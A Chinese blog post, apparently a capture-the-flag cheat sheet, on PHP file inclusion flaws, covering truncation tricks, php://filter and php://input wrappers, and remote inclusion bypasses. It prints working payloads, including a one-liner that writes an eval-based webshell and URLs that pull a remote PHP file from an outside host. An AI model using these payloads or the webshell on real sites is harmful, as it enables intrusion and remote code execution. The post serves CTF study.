• 常考文件包含漏洞


    文件包含漏洞

    文件包含简介

    程序开发人员在写程序的过程中,不喜欢把同样的代码写上好几次,因此通常会把需要重复使用的的代码写到单个的文件里,当需要使用的时候就直接调用这个文件,不需要去重新编写,这种调用的过程就被称为包含。我们需要调用某个文件的时候,就会通过PHP的函数引用文件,如果这个时候传入的文件名没有经过合理校验,从而操作了预想之外的文件,就会导致意外的文件泄露甚至恶意的代码注入

    危险函数

    在PHP文件包含漏洞的函数最常见的有以下四个:

    require()
    require_once()
    include()
    include_once()
    

    当使用这些函数包含一个新的文件时,只要文件的内容符合PHP的语法规范,则任何拓展名的文件都可以被当作PHP解析,例如上传一个包含恶意代码的txt./ jpg.文件,都会被当作PHP文件执行。

    分类

    本地文件包含
    • 直接读取目标机上的Flag文件
    远程文件包含
    • 指定第三方服务器上可运行的PHP木马,得到webshell,查看flag文件

    解题思路

    查看php的全局配置文件php.ini

       allow_url_fopen = on/off
       allow_url_include = on/off
    

    只有以上两个都开启的时候才会存在远程文件包含

    本地文件包含

    • 直接包含flag文件

    • 通过PHP伪协议读取代码中的flag

    • 传入PHP木马获取webshell,得到flag

    直接包含flag文件

    %00截断

    结束符:x00--> %00

    路径长度截断

    Windows下目录最大长度为256字节,超出的部分会被丢弃;
    Linux下目录最大长度为4096字节,超出的部分会被丢弃。
    例:

    http://www.ctfs-wiki.com/FI/FI.php?filename=test.txt/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
    

    点号截断

    windows OS,点号需要长于256

    http://www.ctfs-wiki.com/FI/FI.php?filename=test.txt..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
    

    PHP伪协议

    • file:// --访问本地文件系统
    • php:// --访问各个输入输出流

    file://

    用法: file://[文件的绝对路径和文件名]

    条件(php.ini) : allow_url_fopen = off/on
    ​ allow_url_include = off/on

    php://filter

    用法:

    ?filename=php://filter/convert.base64-encode/resource=xxx.php
    

    条件(php.ini) : allow_url_fopen = off/on
    ​ allow_url_include = off/on

    传入PHP木马获取webshell,得到flag

    php://input

    用法:?file=php://input 数据利用POST传过去

    条件(php.ini) : allow_url_fopen = off/on
    ​ allow_url_include = on

    木马文件(shell.php)

    <?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>
    

    菜刀/蚁剑连接

    远程文件包含

    问号绕过

    http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt?
    

    #号绕过

    http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt%23
    

    %20绕过

    http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt%20
    

    小结

    可参考https://segmentfault.com/a/1190000018991087

  • 相关阅读:
    html5储存篇(二)
    html5 存储篇(一)
    【刷题计划1】【poj分类转载】【8月20号开始】
    【如何搭建一个属于自己的独立博客~~~基于windows系统,使用wordpress建站】【弱菜一枚~~大神请路过】
    第六章 6.6 图的应用
    第六章 6.5 图的遍历
    第六章 6.4 图的存储结构
    poj 2488 A Knight's Journey 【dfs】【字典序】【刷题计划】
    【Educational Codeforces Round 33 B】Beautiful Divisors
    【 Educational Codeforces Round 33 A】Chess For Three
  • 原文地址:https://www.cnblogs.com/NPFS/p/12667021.html
Copyright © 2020-2023  润新知